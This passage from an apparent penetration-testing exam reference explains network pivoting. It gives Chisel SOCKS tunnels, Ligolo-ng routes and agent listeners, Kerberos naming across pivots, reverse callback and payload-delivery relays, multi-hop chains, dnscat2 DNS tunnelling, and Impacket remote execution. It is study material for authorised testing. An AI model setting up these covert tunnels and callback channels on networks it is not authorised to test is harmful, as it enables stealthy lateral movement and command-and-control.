chisel server --socks5 --port CHISEL_PORT

10.13.15.1.27 Kali/client side

# Kali/client side
chisel client --fingerprint 'SERVER_FINGERPRINT' PIVOT:CHISEL_PORT \
  127.0.0.1:1080:socks

Current upstream Chisel distinguishes:

socks / R:socks       -> SOCKS5 TCP CONNECT only
udpsocks / R:udpsocks -> TCP CONNECT plus SOCKS5 UDP ASSOCIATE
# Requires compatible current peers
chisel client --fingerprint 'SERVER_FINGERPRINT' \
  LHOST:CHISEL_PORT R:127.0.0.1:1080:udpsocks

This does not make ProxyChains UDP-capable—ProxyChains remains TCP-only. The UDP application must support SOCKS5 UDP ASSOCIATE, or another compatible adapter must be used. Current Chisel peers, TCP and UDP firewall access to the SOCKS listener, and its documented association/fragmentation limits all matter.

Verify: Verify the actual required transport end to end, with correct listener/exit placement.

If it fails: Version syntax, client compatibility and UDP destination reachability must all hold. Retain the known-working TCP path.

10.13.15.1.28 Find: Route a selected internal subnet through Ligolo-ng

Use the pivot's route/interface evidence and the intended application's transport needs to decide whether a routed interface is appropriate.

ip route
ip link
./proxy -h

Recognize: A selected internal network and proxy-incompatible client suggest a route-style agent, subject to its own transport behavior.

Validate next: Verify compatible proxy/agent, local privileges, carrier, selected route/interface, DNS and any separate reverse listener.

Route a selected internal subnet through Ligolo-ng.

10.13.15.1.29 Commands and use-case variants

Need: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Compatible proxy/agent, permitted local interface/route management, reachable carrier and selected assigned subnet

10.13.15.1.29.1 Establish the Ligolo proxy-agent connection Proxy and agent

On Kali:

./proxy -selfcert -laddr 0.0.0.0:LIGOLO_PORT

In the proxy console, obtain the fingerprint:

certificate_fingerprint

On the pivot:

./agent -connect LHOST:LIGOLO_PORT -accept-fingerprint CERT_FINGERPRINT

-ignore-cert is a controlled-lab/debug fallback, not the baseline.

10.13.15.1.29.2 Create the interface and selected route needed by the pivot Current managed interface and route

In the Ligolo console:

interface_create --name ligolo
session
ifconfig
interface_add_route --name ligolo --route INTERNAL_SUBNET
tunnel_start --tun ligolo

Manual Linux alternative:

sudo ip tuntap add user "$USER" mode tun ligolo
sudo ip link set ligolo up
sudo ip route add INTERNAL_SUBNET dev ligolo

Then use normal clients:

ip route get INTERNAL_HOST
nmap -sT -Pn -n -p PORTS INTERNAL_HOST
curl -v http://INTERNAL_HOST:PORT/

Ligolo translates connections through a userland network stack. Ordinary TCP clients generally work without ProxyChains, but raw-packet assumptions, ICMP details and some UDP behavior can differ from direct access. Use connect-based validation first.

10.13.15.1.29.3 Reach a service bound to the pivot host's loopback interface Pivot loopback services

Ligolo maps its special 240.0.0.0/4 range to the selected agent's loopback. Add one narrow route:

sudo ip route add 240.0.0.1/32 dev ligolo
nmap -sT -Pn -n -p PORTS 240.0.0.1

Use this only when the desired service is bound to 127.0.0.1 on the agent.

10.13.15.1.29.4 Callback or file-server listener on the agent

In the selected Ligolo session:

listener_add --addr 0.0.0.0:PIVOT_PORT --to 127.0.0.1:KALI_PORT --tcp
listener_list

Kali listener:

ncat -lvn 127.0.0.1 KALI_PORT

An internal target connects to PIVOT_REACHABLE_IP:PIVOT_PORT; Ligolo relays it to Kali's loopback listener. Cleanup:

listener_stop LISTENER_ID

Verify: Verify route/interface ownership, destination application and each necessary reverse listener.

If it fails: Overlapping routes, wrong session/interface or absent privilege can create a misleading connected agent without a working path.

10.13.15.1.30 Find: Preserve DNS, Kerberos names and time across a pivot

Compare name resolution, ticket server principals, clock and the KDC path when an IP service works but named authentication fails.

getent hosts TARGET_HOST
klist
date -u

Recognize: The route and credential may be valid while name/SPN context is wrong.

Validate next: Check intended DNS source/result, realm/service name, time and KDC/service routes separately.

Preserve DNS, Kerberos names and time across a pivot.

10.13.15.1.31 Commands and use-case variants

Need: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Reachable correct resolver/KDC path, matching target SPN/hostname, realm configuration and acceptable time

  • Decide whether the application resolves the name locally, ProxyChains intercepts it, the SOCKS exit resolves it, or the pivot's configured resolver handles it.
  • Use numeric addresses for route validation; then restore the confirmed hostname when the application protocol requires it.
  • Kerberos needs an SPN-compatible hostname, realm/KDC route and correct time. A working IP connection does not prove Kerberos naming works.
  • A temporary host mapping is acceptable only for a confirmed in-scope address/name pair and must be recorded.
getent hosts INTERNAL_FQDN
curl --socks5-hostname 127.0.0.1:1080 http://INTERNAL_FQDN:PORT/
klist
KRB5_TRACE=/dev/stderr kvno cifs/TARGET_HOST

The first command checks Kali's normal resolver. The curl form deliberately delegates the destination hostname through SOCKS. Do not assume a generic resolver utility will be intercepted by ProxyChains: NSS implementation and process behavior vary.

For Impacket, preserve the target hostname while routing to an IP when the tool supports it:

impacket-wmiexec -k -no-pass -dc-ip DC_IP -target-ip TARGET_IP \
  'DOMAIN/USER@TARGET_HOST'

Verify: Verify resolved destination, ticket/server principal and actual authenticated application action.

If it fails: Do not downgrade the identity claim because transport works. DNS, time, KDC access and service authorization are independent checks.

10.13.15.1.32 Find: Build the callback and delivery routes separately from the attack route

After the attack path works, draw a new path for target-initiated callbacks/downloads and inspect the listener actually advertised to that target.

ss -lnt
ip route get TARGET

Recognize: A working initiating proxy path does not route a target's new connection back to that private interface.

Validate next: Check the target's route, listener bind, chosen reverse forward/agent listener and final handler.

Build the callback and delivery routes separately from the attack route.

10.13.15.1.33 Commands and use-case variants

Need: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Target-to-listener/download-server path, correct advertised address and compatible reverse listener/forward

A forward path and callback path are different graphs:

Kali -> tunnel -> internal service       # access path
internal target -> pivot -> Kali listener # callback path

Options:

  1. make the callback directly to an address the internal host already reaches;
  2. expose a listener on the pivot and relay it to Kali;
  3. use a Ligolo agent listener or SSH/Chisel remote forward;
  4. choose a non-callback technique such as authenticated remote execution.

Fixed SSH callback relay, run from the pivot:

ssh -N -g -L 0.0.0.0:PIVOT_PORT:127.0.0.1:KALI_PORT \
  KALI_USER@LHOST -o ExitOnForwardFailure=yes

This creates the listener on the SSH client/pivot and makes the destination connection from Kali's SSH server to Kali loopback. -g permits other hosts to use the pivot-side local forward. Verify the actual bind with ss; do not infer it from command syntax.

Also route payload delivery separately. An internal host may reach the pivot but not Kali's HTTP server; relay the delivery service or serve from the pivot when justified.

Verify: Verify the target-initiated connection from its source context and the final session or downloaded bytes.

If it fails: Wrong advertised interface, loopback bind or missing reverse forward breaks the return leg while leaving the initial attack functional.

10.13.15.1.34 Find: Compose multiple pivots and validate every connection leg

Start from the last verified first-hop state, inspect the next foothold's routes and assign each new listener/carrier a source and destination.

hostname
ip route
ss -lnt

Recognize: The break lies beyond a known working leg; a connected second carrier is not a complete final route.

Validate next: Test each listener-to-destination leg, names and return traffic independently from the correct source.

Compose multiple pivots and validate every connection leg.

10.13.15.1.35 Commands and use-case variants

Need: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. A working first route, explicit second carrier/listener directions and correct per-hop DNS/return paths

For every additional hop, write another complete segment:

Kali -> tunnel A -> PIVOT_A -> tunnel B -> PIVOT_B -> INTERNAL_HOST:PORT

Rules:

  • validate one hop before adding the next;
  • avoid overlapping local/VPN/internal routes;
  • use unique listener and SOCKS ports;
  • record which session owns each route;
  • ensure the deeper agent/client can reach the upstream listener;
  • re-evaluate DNS and callback direction at every hop;
  • prefer a routed method for several deep services instead of stacking many opaque wrappers.

An upstream tunnel failure invalidates every deeper observation. Do not troubleshoot target credentials until the complete path is restored.

Verify: Validate each hop with an application-aware test before chaining the final client.

If it fails: Avoid rebuilding every tunnel after one failure. Isolate the first broken leg and preserve working state.

10.13.15.1.36 Find: Conditional: tunnel through controlled DNS infrastructure

Use known carrier restrictions and an explicitly approved controlled domain to inspect delegation and DNS reachability.

dig DOMAIN NS

Recognize: Delegation is an infrastructure prerequisite; an NS record alone does not prove ownership or an operational tunnel.

Validate next: Confirm authorized control, resolver path, compatible client/server/runtime and supported intended operation.

Conditional: tunnel through controlled DNS infrastructure.

10.13.15.1.37 Commands and use-case variants

Need: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Controlled/delegated domain or supported direct setup, reachable DNS path, compatible server/client and allowed execution

Use only when ordinary transports are unavailable and DNS is demonstrably permitted. This is a conditional advanced route, but it remains in the current official BOK.

Prerequisites:

  • command execution sufficient to run a compatible client;
  • either authoritative control/NS delegation for TUNNEL_DOMAIN or direct UDP/53 reachability to the server;
  • a resolver chain that forwards the chosen domain externally;
  • permission to bind/listen on the required DNS port;
  • tolerance for low throughput and conspicuous DNS patterns.

Authoritative-domain mode:

dnscat2-server --secret=SHARED_SECRET TUNNEL_DOMAIN

Client:

./dnscat --secret=SHARED_SECRET TUNNEL_DOMAIN

Direct DNS-server mode shown by the server's own usage output:

./dnscat --dns server=DNS_SERVER,port=53 --secret=SHARED_SECRET

Server console:

windows
window -i SESSION_ID
help

A DNS query reaching the server proves only the resolver path. Match the pre-shared secret or independently verify the negotiated authentication string. Cache, recursion, EDNS, TCP fallback, DNS security controls and response-size limits can affect the channel. DNS tunneling is not DNS spoofing; spoofing remains prohibited by the current exam guide.

Verify: Verify the actual carrier and intended forwarded action; retain delegation and connectivity prerequisites.

If it fails: No delegation, resolver interference, egress policy or missing runtime can block the route. Keep this a conditional fallback.


Top of document · Reference home